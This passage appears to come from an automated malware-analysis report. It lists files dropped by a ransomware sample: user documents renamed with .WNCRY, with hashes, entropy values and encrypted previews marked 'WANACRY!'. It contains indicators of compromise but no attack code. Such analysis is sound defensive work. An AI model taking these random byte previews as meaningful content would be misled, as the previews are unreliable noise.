                                      Preview:WANACRY!....)].........A........o5..kA....ut...=_......6L..qxuL;x.E._..._]...lA.L.0^[nT...@.....]...H....oQ.N@r.q.H..YoR@.}|.-..N.....f.p}..}CG(....:d..A~..].*XP..+..X.z.Q...u.d&..-......SJ.01.j.8V.1.AE...}..........R.O..=.x..W._o/...#<vb/...._S.......^...............>w..q".M..^<IZ..G.z.a-H._.Q..+>...Z9m......e.[._~....i.U.w....C...O....ig.KW.*.,...........ZS.b.. .Z.P.....f.+..'#..\).h.....i..G..NPz..~}..b...^...W....@.@..`.z.A....?.-.<./9f.`*...B&V.T...+fz..\.sW1...G.D.._..HYd.G.....%..x..-..^O..L..^..YK. .-....{..M6.q...QW.%g...F..3w.woa...g5..C.l...9.3...k.kG..Y...........)........"t..O..W.N......H}7_..0.`....n...9..M....I./ ...a.._.~.......4b qX..N.....$.....u.....\..Zs.._.!..W..D0.Oo/O......+k..b.}....gKN..)T..O"D1..m......C...Z+..>.......N{....{.$....fjP...C...(p.3v.*....J.l0)n9..5w...4YB.~.5VcV..W.;.......e.+../.M.JM.f._.*.)......A..;u8.}(V.33N../..W.... ;..ML.y.>..F2p.vJE..|..P..b..e....[.....>@.1....imw........9M.W!....."].

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\MMTCVTWUGY.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.854363774263299
                                      Encrypted:false
                                      SSDEEP:24:bkwEPphu+IjWCpJIaMLX8mDy5WFuLA0j/Ae4+VcKRxymZC1gIwpy:bkhpQLjgaiKIFuLAK/++Vcexyf1rmy
                                      MD5:ABBCBC0F0A5FA351AF2FAED6D26ED320
                                      SHA1:B0603920F736AE78E3D8B96BC4267FBD0E17169E
                                      SHA-256:7866E7F9DD834E851C99C04DABC1CC178D4BA8E8A89E3EAA70CFA7231EB8CC74
                                      SHA-512:09B93422A35D7AD6FBA83C0928C6F8C8C45B16044B12CCB3CC5398064F21FEC467684F4EAAB23870EDEBF90B70653D90286C5EE6D15F809C1F8F182FA3BCF54D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!...... .....S...f.RT'..|..Z.X.|.lE%M.T....=...:8.......?...L....ks......~E1x.....Z....F..~W.,HC....THkc.S.qUB..x;...y.....l"8Af..<..S.....g..H}.....#k..PA.|e6..D^#.....|7la..L..%.o&pb.BYGk..O..2..o..]~@.........).yr.....1,........9h..)l..7Q.......W5VP.............Y"~....%>...>D.I..C.A.m...t6V.1..I..e...z...i..<j..N.G.z.x..@......_..g&'.-..>.#.!.lG;x..........-..Jv|n.c.6.@-....w...e.:P...qV..........L.}...j.=G.b.B...z+.V..YT.`.+...".l..t4....o...:E.l.f.`.b...E;...p&..{.:3j...7...d).|.. R.\..J".C..X.5pUru...h6..v.No..._ "..<U^...L.)Pu9.........p....{y.]>...........,#..Er=[.8.'9.tkQD(.m.Z5.....C..&.M.Gj4.>".-[..m..A`u...L..s...o.F..].A=.@w@..~.p..........o....v^.......,.....chli.q.6u/.2....S!..r._....n...Al;.(..3....9..../..pO...X.....Q.(..X).t.../`v..O..P....s..'.Ww.......h6..o....A$..[ 2.!.Ft.A"e...6=.<N.@).L.....u.p..U..L*.dF.O.F.H....ci.C>..b..G..q..x>..1.*(1>j..Oe..c.a.}=..k...Y..%.....+.4...-...t..I.FU.9....<T..UD...R...V>..y.p......z...E..

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\PIVFAGEAAV.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.868531799050256
                                      Encrypted:false
                                      SSDEEP:24:bkH2SxtkVUeCBZE02IIvOqwo/CzHRRxYfPhUdPf8fHFirdpdeFwMVen:bkH2hVUzZl2IAOqwo+RRSPMPf8fl6dpb
                                      MD5:D4C9564E7071669926AD811AB001BE66
                                      SHA1:6FC20E47435D68E39123BA9817BA266CBA04671E
                                      SHA-256:FF4739CEBB3DE6D3D373D57BAAB7FCBF9A27717904D77B45F8B46692B14796FA
                                      SHA-512:871683739FF3DF00F6E0CAF630DCE4340E747F8AF8806942F99B1B59BF5EE55B9A081B29E7086FD40965B32DE94B6D4546679CAFBD54870BF21840884F38D9C3
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......L..\.5)..._...k.HXq...rW..u.G._....83..\.;.DA..Tm}..o..."...6.U..J7..2...AD....;.....k..E.N....F..1B..V?.B..5....8/...:<.$B)(....#=.A.h ..Z.(.F..OCKf.....>!+..3.y.G.l.m..]...a#$.^h|.h*......~.e.A..q...i-..N.6Lv.&Or...Kg..z..'..CQ..."..'..N8:..............c.....Duk.C..G.Q:.mZ.y..V..>.P.a./.A....e.T.....,..KA.0V...G[.P9..j.@P.| 8ATu....@.&.`..<..2.A.#.u.c...$X..N..pQ....v.........G..k...{3.m..CBS...S.&>P.....}...h.6.'...R.e..vp:f.....{.QAi.....;cr.t9o[P...6.t.[&L..GFp...-...L.w..{/. G...=....gI.I..=...-.U.f.d..<<.ne...\...../K......{}:..n..9+=.9.%..c%.o{.=2.../..w.*.4..0...L...1..YML..4E....+S...{.BUc<...f..I.8.....).e..<...2...d.t.Lo/..........>-..h.H.%...im...W..~.`9.w...g.D\.%..fyS.$..c|9.E.}.;?*..J........V..W>0o.g...f;..u..f.!4.f.qM.vb...f.[.6........w...}..2.0f..[..*V..].4.j{...R...^.........X....8rr..}.........}.`..F=.b.........z7.Ex..3kw^.q..j.g.D6]NY.........>.1.....ME.Q...2.u.$,...u..WNW..~..z.AY..Nz.v....^hYl.....-v

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\PIVFAGEAAV.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.853365228511183
                                      Encrypted:false
                                      SSDEEP:24:bk76POn9EiRbX4YBoSkuDYhtigQkykZy6cWx4h2x3yd11iktJjKVmpb1P+xfID41:bkmGn2iFX4uoSHDYxQ7IL4h2x3+11tte
                                      MD5:55ABCD98BE6A5FE84064205377C62445
                                      SHA1:219E21510BDB500DEE4F2EFF92C3849F2F5A9950
                                      SHA-256:1CBD35178C2833E2C6EE30CE6CA23AE77C476C53743CEC9A095AD5BCA29E8986
                                      SHA-512:9B007B012AEAB2E4C42291FA72A1260E3413B3E6671FE9D0C245CBE58035CAAADBA828D2AB6B1E4CF1DA0E0FD70577CF7CC511DBBB40DEB63B3A6B27B2FD2DAE
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....'g.9v!s2.9&-#c.>....s....<E..&v.2.t..^..?LDJ.q..5..+..m..\..+S......^n.<.Q...9"PKs..m..........Q.....v...,...[%...%..s.T..8m8...._'......7..y...>>U...C.H..t..8...C....L.......X.@&Ds.....P.~..2.*y.....r.z1....:.P^\@.?2R.ul..Q..P.#}.83..3.S..."E...............9.>..#....CT....VL.......i..|bV..`.D.]....+.....M.......5...O....'..F.v.)...q..{.9 .Oy.UO.2$..........a..Aqm......=T..i.kH...E.8..g?E2..}.2..d.)5.4.vP.u.......\}...J.|$.<oU....H.._RZ.;.X.E.|....Z...=a.%.-.^.;....N.._?Y...lY...nh...../...4.....l.F.+.n....b...@.~.W...xG:.S.d@.0`B.A.n.O..w.&.....f..G....T...../.....[&X.....I.)..1.E....e;....|.....EA.}.....A...t.Yq....x...93......c..n^.H...hu..A...6...<.[.'vJ.< .ny..?9[+6.K...\...+%.|.).=.$.0q..+...|..S......7.t..;..M.4...."...T..,.........a.(....&...._..]U@.CB.@u.....I...l....&.q.I.....$.h......Q.8....y3.kp.....<.2............7].J.,.^0....v.1.....".0..M...y.'... ....p......7_....>..y.i...>.....&n.f.s.F8.W..1$. AI.17%`.`Zq3..

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\PWCCAWLGRE.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.832445596572117
                                      Encrypted:false
                                      SSDEEP:24:bkD28fm6cxLZIVyogKAlKJjf7Zv9J2k20lWjjwfoJkWJqvOw7PhXKQ:bkDvm6++NTF9J20aC2JIOw5XKQ
                                      MD5:C7B631ACFB43615095E8B6B4B1E75C1F
                                      SHA1:32C13CE30D62D5675E7D01F3E4C10431AD0F7C81
                                      SHA-256:348730D76C3DCAD5EF19EC7FFFE915B02DFA6E122BA6EFB0FC70382A3E40AE9A
                                      SHA-512:0BAE9335C0004FDD5BB33FD501C123484C4A0AA1183BDD56C775E2DEE38C00A825EF6230EB11084E90FACC1E67078809DAC152BCDA863A10A1BFC9599880ACBA
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....+.K<..g.....4.].(...B...4..%..!m.._i...L"..._.;.)...5..|Fc..Eh..(\.vD!)..).w........I..(S.......Z..1..n%..v....*.r............c...|K?a.Wp$.dj...BY.N...B....HT.b.......?_......X...z.k^..YQ$...^..<...0Hf&..!...f..@}...[.4....{-X3C.?..6H.z..............S.X....-.1...Q....1$.<i.$.......G.....zmSQ...$..P...gY....W.a. b.....;.!....C6x.Q..'..D.'hT..3a..]_...[..n.1.>(.e.....N...B.!6..B..KI.a..".._..}................r.aH_.I}..1.3..XY._...+,...f.?..S.p.......*<..9"..gc,.";..y*.6ZP..H..$..;...f.[.....C.C...oB...~.-...D.i...Ew>V.)\..m...N.. .b.....1WjA....%~.(?...{Qx.,?..Z...r}T.V.q.../Y.\b.nf......!.F$=eR>..........[...n.Inj..v+.bs_S...._....d.Jg.d[.>.(-..&.\..`.#3".{1...|u..67.>...."....S.F.4:..s..&..-B......M.V...e-&n.i.A0.I*.....{.7."..,..[l..T.*.{..9.9....%.....%.H...CA..;.a....6.H...X..S...Y.........Z2...,......./....o.Z.....y...k?.x.;..ln5.. F*.KK0..,R.S../wT#qc.....h.1.ch..9..X..T.b2...g..Wc.4w.5rm..b3..9.D...n........M...\.

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\QCOILOQIKC.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.882125439773441
                                      Encrypted:false
                                      SSDEEP:24:bkD/3m7X0byOznyoYYGvgqtjad7N9iX8CkzkfARgNGs1xg+4:bkD/27gLnnYYkgqtjq7jiMC7fAxj
                                      MD5:AB6669D5E28DBB26B0287A8E18C19C43
                                      SHA1:9E046815CE3974F9909BD8ADA408B0E7F0E9101E
                                      SHA-256:05111E543A75DAC3BFB9D547DC4CFE8273F4A276D8B51252308B51D88E55D1BF
                                      SHA-512:C11E2C45AEF074CBADCFAC053210B94E5C845A0A6FE0ED85128B54E1E065E666E9D19F640D5610A05FE5C3E8C7E33BD1D0A0A8A89AE0539BB1F4FD47691EDFC8
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....k...#E..3...J(...a...L...u.........N.....lY.+B.^.5+..o.?.....g.....qeD .....3_.6....hXv.''G.$M.W..}....[=..#.....g......#...S...,....N.%j|`@...u.A.b...i.>\...7e.Eo.........,...7..o.0.m *Y[%aT..S:L..O.9E!....p<.b...q.u..`......_s....y..............j.....f....S.-C..Kh..#..Ht<...;.wb.S&........./.D.c.....L.^.....=m.E...b.....sE..1...4..Ot...@.Z.S.....h>~.w.J..d...>.......Gj...'./..Q..%.y.08...E..Iv........"...t....S.yay.....h...j....c.l)G@........F.^.O...@...D.<A..9..x.LeG.I....3..<9.z.V.ZO....W....`.....L..(.^W...J......$?..x-...h..J..$.{........}}...i.S...#8...&.BI.....X.{.Z&.&......._....J....p4...a...O.M)&.2...V.O.a..f.6.:;.;.........s8..&.,....|$.?.t^&...n......*.@M.Y.'G.3aV.m.NFe..Q.....!.Q..*.e...i>....^i..}v...Zj.0d.R..l...F.....>Y{.T.7^.}...'z...#.P.QQ..NU.R..jP.....E..Y.Fu.S.A..!.!B6.T4N.........Z..O..~.+....#..;,..T...q5...Y.f..;..^:...g.M{.O.Ad3.#..c.Nw....qo~.KQ6}..e...<OW..;..-]...B<..[....q.?'t

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\QCOILOQIKC.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.84478546658724
                                      Encrypted:false
                                      SSDEEP:24:bkMeUnq4hkp8KcYjNAWwsf86OparxDeGSZxOxUrSNLLFUJdi1FYhY4T:bkMlnq4ym4R3wrD0lbyoNGJd3
                                      MD5:6B423623E5E82DB3D7500B10DB306A08
                                      SHA1:2DD2AA05A71FC2BF010197969A922693107B6428
                                      SHA-256:A86BE3FA9F53F1FC357742BE4D2CF45F3C4178F2DE71C63BAA9DFB3ECFDA932A
                                      SHA-512:D70ED2E407EFA3A4F26B801D44666F8949FF73601D02CE79E3BBAE0EFCC0FDA0E89720BE17B7FF0C5E14A9B1E88423C72FDEDFAA4A0D39D9FA75518B3F46E506
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!..........#..B..s...'d ....}Q.<E..0~..........zS(/).....-/.A...0-.6.....?.....i..5..#../iB.,4Y.N..-..Y..X.:....)X\"X..z...#_.B....k%B...}>.^....j.......(2...'...B.'%.;.....6-W....O.8...$.x.r...."r.m.7.......$]..a~.y=...1o...(.W..&o...G..v.....1.~..............d.....(q.H..G{``....39<..w.x..V,C......!.<y...nk.G..'.3.j..Sa..."a...S........Qi...Q:......L[..n.s.-~.A=B...h.Q...Py.M....k...+.j.%...[....4.G ...MwR...(..woP.....\s5.t_cqY.?.N.....j.';.b....75...2..p!...g..+...$.....5U.sM..C....l...=...l...].h.||...Y;...=.....Gm..2G....A.1F..9.z8........*.....]...4Wu..D.\.9.;.z..An....w......?.]\...b5`t..6.....{&W.'....../..?.D.X......a..-..h=`3..;.!$.e...g7S\y..J..p .JUN..#.cq..S....@...gq....5..g....r.u`...a.1 ....2"cE..N?$.%....+...>O[...,....G.....Y<-L...uD.63Z1....'.eV.9H.....-..nE.z]..Cf..uR"..-f..y..5._DX...\CY.n.(|....]..{!.......w.:?...>......|*.r.B.`_..#..q...\s?b05.}.c...D.L[Pd4.+u...h*K...4........Bg..a.$..~....s.k..7..:.9..|.M...

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\QCOILOQIKC.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.843819308078252
                                      Encrypted:false
                                      SSDEEP:24:bk4h37xrIM07QBdramlxW9s43We0VQgrLP2eun4sTKoOTcOZj1UlmaU67+jMMb/m:bk2KB7QBdra3aXP6ReoOTcONWltU67GW
                                      MD5:E25CDB39251B42A1374223468EA5456D
                                      SHA1:E37423FE06A586B78ECEA0886A812EC7F583293F
                                      SHA-256:F43F8A3E063033514F1106855A00629955844C7CEB1431604D2AA1B4530591BB
                                      SHA-512:ED075937D8E6623304E521E880A30E0CD21DF87FD9392C4022DC25ACE25D51C1229554AE6666A79D032E919E768522EC40296DBBF05C482BFBA990A9DC52AEE8
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....1*....M...ew.._.4.n....(........M7.a...&........&.L..9...5H._<...3.!R..+..X..u...9.Z.]....._......L.....4s........D..y.N$/Gt...gH.....\......k.V2P0.......H...%u.5.,...."..6a.8....Z...%..r#.}..`.Y.0D*....=$=l.c........YpQl-F$.(.........%.r..............2`........x..STVfLx)76.B...XV..Q....7x..U....0.'...A..C.X.../..Q(H.H....K.|.@.F@4.<@....f..(h.<....G......o.....5G.n<........w.".M.*!...j.Z[~s.5=.,$aY0..4ig.)...j:......!.}0g....j...b{.w!'>.9.D'.I4.j..N.A."cz.=.!..n.M.b..t...$d......"...$Rl....qw.7d....^T.Q.b?..ue....~......m.....,.Z..cNc7..q.}:0(*....#..H../.Z.I..}#.l............R4?S..w.`o......PA...........J^|..4....CR4.{.....%....9...g.A-......4.O.D...7.u.D...P....8.j-.7............F.Q...)j.....Q.]H.G.....9~}.i.. >b361..E``.o..... ....92Z.@.2^.....EZ0.'L.=...'o.N.80H.^...>^....S....>B...#..;..%...)9./...".s. ....p..c.,..M?.b."....E{..^..}:)x....8...,.b.1.q.......D.S..3.a..I....6.......?U........q..`su.O.1.j,...3.<.S.....

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\SFPUSAFIOL.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8534111378851446
                                      Encrypted:false
                                      SSDEEP:24:bk1Clnh7iXsqic1NnTMqInEDJOMbOe2gBVq/gvhOWeMCk8A8pCG:bk1Clnh7NZ+dRIcJO4gKV7pzXCk8A8p3
                                      MD5:EF44DE61BFC0EC74A3FD66D358E9EC5D
                                      SHA1:ECDF949D88BE13F5C5CB078C3C585C0B4C117328
                                      SHA-256:B9E01DB6F1FF7E1648E00FBF82FE5744F98B3ACA80AB87DA4CD061486179386C
                                      SHA-512:58AD5C25136FB1E3DEFE15B6DA6B7948CD656B54CB3F3B44ED08B9B56BA303B46AD5125B08B82A92CC369185046E0CCDEC90AA55083625C0E184733C2E3AA2A6
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!..........2..[.i.q*....`..F..Zy.'r_..E.m`..We.Ct.a:5=..F0.....-..V.Qk...ahyOFE.o..0K..K...........J...+R.AM..D.....i....t!.....D.y..K...wGg<d..1....%..6..Uj2..+.....Y......U...d.Ax.F.>;..8....;..}4f.1+..!...p.Q.P.6Fj.M..._.W.5.G.Q-..%..b...^..H............x.....Qzo....P....t...j.._..B...:.....FfR....^W/.L.>\...p3E.q..}y[d.I.|6.R...w...A.^......4...K./.F.E..I...Z..H.a..m=k.g..=#_...E.\.;$6}.r....k.....}G...h..&L..........1...#.q.....b@..>tu...._b.........y.5..x&+}.>w?.T.2..7...2..`....D.y..G..\7.e.*..3.....S.....e.w.H:...E._..w......R...z.....a^L<7....l^...m/...wx....@k.$...-.h...Q..........+...D..'..1k.P..o..Z..bn@)..z.b..].......$....e...oG.8o...`Bb=#..5..m3t/L%..F..OC.%d.w...u.>..i...6\m"...Z3.$....E.Y...pk..~..[G.?uo..(...?(|>.......1..gE........V65.....>...L..=a..>..<fw:.....S....2..{.J4h..L...Vd.*.is.!uK!.*0.q(.|.k...zac.R .:.QX.8..DTT.SYzV......A..i8..0.d..a...Y:..,,.&.N..F..?...f.}.0...#......1Nx._(X.......I.=.c5....^.Y.

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\SFPUSAFIOL.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.838158931424466
                                      Encrypted:false
                                      SSDEEP:24:bklm37oNrPtaaoCUOJjigBYQOZQfKCs3ALSIB5BpcaYQQkGoto1h8OpSQcyGXN:bklD24igBYdQHyy/QkGotodHyN
                                      MD5:CFF8F65068B4BD5CFA4FAA9243D286DC
                                      SHA1:BAB1E110E2211F8DC11470643FE55EF6C065F7F4
                                      SHA-256:BBB13ACF44263F466895BDED7DF103006E2E77E19CD68F43550984E5061537EC
                                      SHA-512:8F80C732D68A6945E5463945E73B620376D8F873BF38F16DAE5AD5083B33CE173D386BFB34BC3134F90182F303672F5775F14E2D3D61D78708F77706A8471922
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....t.sHj..,..F...m.)\W..m..W3.I...E7...Y.."u..H....(4%..........Kt...X..w.m.......r...{X........b2.........^....JR..t1.lr.m....P.X.O..<`X..O.6.\.Z....=JWg..e...|.........Lr..E.uU.A.}.. 6L...tbo>PZ.;..p...b.#....Cs +Exj.%..........e..V.F.R.i...;.............n1t...J}>9..U.....f.7.H$.q6..d*.G.X."....K....v.g..r.I.q.._..Q93..+..H....+.k3..~..._%7@.}9R.y:.e5f.:...Q...1.:$.+..V..7...k.K".hU......-.).......=j>X:..j).|......RJ@*....c.L.o.S...k...]....._.....O. ;....)QS....u.....l.{.......0vi..Dj...(.m,....I....&..g.......]....V.s.v..K.x.B..'.:.Z...T.>...M.O.`.rb....m..!..Hl....R....'.z...c...n...1../._..K.o?6./".~../)..b.U..s...h..MC..6..d....4]....#./....Su!R...Uk......`..a...D..px9.J.V....I.-..."..&9......H..%......?:....]..cW.xf..!.X....fh2..$.Fz.....&{.9.?.O..z.......^..m.%..mj.....l#.k....2.f.\6..i..in.I.YD...>o..^#...xsM..*7~.o..._...p8.cHx....rj.!.l....`.$...Wd...K.l.p.....A....T.c... /.i.T.....^+.=.%?.W...%..&..uHA....Z...;.m

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\UOOJJOZIRH.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.846193090856159
                                      Encrypted:false
                                      SSDEEP:24:bkLGXt63ggzDqae+9fSVC6RoKBbWK0vMEDmwxTBssBjDBQ1PyChTQNLj:bkSt6oRgnvrVsODK1PCd
                                      MD5:F621D34D2454E37AE23BA2110DF6662A
                                      SHA1:33F3E7FBDA662D10C724113DF82E705A6C430FF1
                                      SHA-256:EE8DD19F8CB87C55E4D538D8F30D10A4D30C16682A4FDC8B4C213E1E3CD59B5C
                                      SHA-512:E0F1C990F5E62E2804ABE887F61FFA19C3AAE48FB129830B576E40331C1541389D605930F77F03958C898E143D14AD8C012A7D9DB75A2CF44EAD912863C5966A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....8.>..9..p#&.[.....LE(.Os)..)J........x..u._.....O.;;..m]\....{..G0!f....3....h...(,..d.O....v&.+A6*n..B]...8b..!...J.Z7..fH.,...h.|.OV.Bci.y._Qe.....X[...2~...'3.._....l~./....H.....H.,....8:...GI..V<....0....m.[....;.~.4f[....R9..Qi.Q3.N(..............r...........=....t..5...Q....C.x9..I...r........o..[......~....G*n...p[..W.....yl..J...}.6.5N|^...ox...~.(.t..@h..r..8._o"|.X}....-..-w."G.l;s5w^-.;..2.........5[..V~D..)j..f...(.6....^U..b..f...r..\...V....aai.;...$N.cC.Yq..A(.c.d.v....G..AEU....4.r.."...._.....Y).....r.n.1.h.Kk......NtD........*2.f......+..i...tO.T.c...x..42..T.h....#.rb~+.`;.I^...>.0H..z:...C'j..,.......}Xp9bN;*D.S....\t.....l2"&......D.dUZ<..L.B..E..c%..^...5..&.c.sg....(....[...,u.../.p.5s..l.<JC..M.z.........9..K.}.h...*M;^Nl......X4.bO...x.$b6Y99.@.t!.v..JM......e....[Ewe.......0..CX...V&.jB.........!.nJ."oZ. 1N.n..6p+......y....3~.c..6j...../:..BzW&.R....O...s.:..!!6sKy...v.o.n............c....g........r..

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\UOOJJOZIRH.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.84473847270336
                                      Encrypted:false
                                      SSDEEP:24:bk6yE24HKTqbGOFy3sI+EFBPCAdYzL3XLu3W9zJ3Ow/NMlfYg/SvfOCL7awQgHnG:bkifHKT8m+wfYzrKKl3OwydYg/SvfX6L
                                      MD5:7BACDFC06446838F0A3F21DBF5861866
                                      SHA1:25E4810C77800C97C74D25F93F94FDC4B6050315
                                      SHA-256:4CB9648F73B306F4075B24FB673B4D51DB3481FA9BB255B5B01FBF97C3C83B0A
                                      SHA-512:B4E2FBA6CBF942049819AC6C85C60E64AB7532EA9CF75B5E654EFFB1DAB9C9EC8C7E28AF138511645DF2B4D0C7D717250A7F109E8F331BF2BD331C3440DC7A07
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....B,..a.P.vz.j...}.....A.a...L..($...;2H..".d...|...Tjn|.&fo.l.S>hg........>...5.ORd|d\.U...w..D...>..?..J(.F.....v]s....z..g..~..3......?.\jm0.Ydq.z..}2..,d.|.!..qQ.....'.....l.@..@.....'...4....]0.+.`0S.r.......`.B...}:@/&5..... .d.y.x$..w..u1[...............u.......W.c...|..p.z...R..R.n.>..K..'.k...S...De...f.#B.....3l...D.;..-...x.....E.../...6..^...I.m..b~.^..[.1..Y,hk.O.%7.#*2.\..&|...yc6...6O),.C......,u..l..........w.H.......@|K....A.so...Q........;..'=..y.~..&....>.>.gE..F..-.u.F........K..k...`.....*.t/..U~..,.$..,..T.[.n..`...y.....+..38.NaU..E./...}..f...EM......i.m.....5vo......PH0..g.y...L..9qw...G..q}..?W.Z.........g{..._.E......R..2....O#.:...5z^.9*'.N._D..q..h...M..t6..^.9.y .Bo..n.9....RKv... C.....P.*\.0R.7t......./xbY...s......ZoRHk4.%.eQK1...T1B...|..^....x.w-...P....=@....@\.U...N......=v.X.....qR...QMG.....xjw..91*P....O..w.Rr.:.S&:......2......XXOFM*...;S6.<.?.H.n.I.....H..n(.B...jH].s..V..MNT..I..?:...}.NQ..L....

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\VAMYDFPUND.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.849145463027743
                                      Encrypted:false
                                      SSDEEP:24:bkEnFDaqmxpXecq4FnC55+RrKvyGdhMrv7eYIOlH8kPjARe3sRnrECU2SLW+Dz:bkeFD4TucHLBGdhR8lHpUhVrnl6
                                      MD5:0A7D9BC66F632CAAAFD5A2C74C1EC2C8
                                      SHA1:9175E25301DD7959A4604BC9E6A4A63FF92B4B84
                                      SHA-256:0F6B983E5506B661ADC40C3B3C6F77283EE7B8BDD594043279B982B79EF2C3A5
                                      SHA-512:9F38DA73CA447FC4443DF19BAB04F08C53E90F4DE571E8136826006859062C39D30E676FFDC09B598055BD1F4E426A601B6CE3A671FE1B81E3A0C741CA8B5B4A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!...........8f....../..Jp....m@n.U...}u"t$............`.....Y.lY...O...o/.......T...K#..-.y.lF[.f=...0..G.d....'.r].W;..s......e.8.f.,..b.$<.1q...N.&u-..D.Y..._.s.Rs"]..;%.......S....v...J...s...Ok.6.B...]c...........h..z....+.LaKM/?...B....G.....................).K.....\AI..g.&g..N......V.9;Q.y...M..K.QY.....a..SE...$L]|P^V.....P.%.+b.....Fes5...Z)l&..+..i..m}6...K'P..q~8:.Gb..O..@)>.........+..2.....4..4U=..1.P..Fc...Bc..>a.....#..`....'....u..w.:.....H..".Q.L.s.w.f.pW.....c....'.r...9.n.p.xVq0D..P'..n......t.H...&....... *_fg;.......{.).R.....|.4R..|K........k..3|..<C.y.1N....n......&.w.1..=..../.K8*.C.uyJ....Y.....+.PG..Ae..x.f...@.k.!=..V....)....._'$...$.b...Y.F.........lUR1..G....L...q.&p...K.......x!..Mp. ..]<.[&......3.*..%..5.H.$9.9....L.=..I.d...!........9<P...j.x}.....z...l(.../.h.C/...,.A.U[..p...>l;0).h2.]@.....h..y"7.`.7'..F"R4.....(....>..t...7.m....jL..1...RZ..4,"..yM%...../...pp......e....?S@>f...V....P.R.~..s.

                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\VAMYDFPUND.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.844259465974809
                                      Encrypted:false
                                      SSDEEP:24:bk+0OdkIsz3U5DyczKpg0YYjsvJD4QsQlebw3yKMqoYqc5HeuwvZdJCfx1:bk+06khUdpzOg0nsvJDhs6K0Mqt+uQzo
                                      MD5:C20723D7C065415E4702A18BA6E6C20C
                                      SHA1:B5E69F953DE22CB463A4B0E9F07A0A48AE0CB6AB
                                      SHA-256:36A8466C6628BA891A7EA9295E987D3CC3D9DB7236883E07771DC6CB168ACD57
                                      SHA-512:F644FB81ACD7CA56ADF3906A578F737A51998543EB2AEA9C7B670BBD6C92AF86B9B1C2F0B7484A5F1DAF1C286A69B3C98C2D2D2877D8D12BD81AF3FC74890ECE
                                      Malicious:false
                                      Reputation:unknown
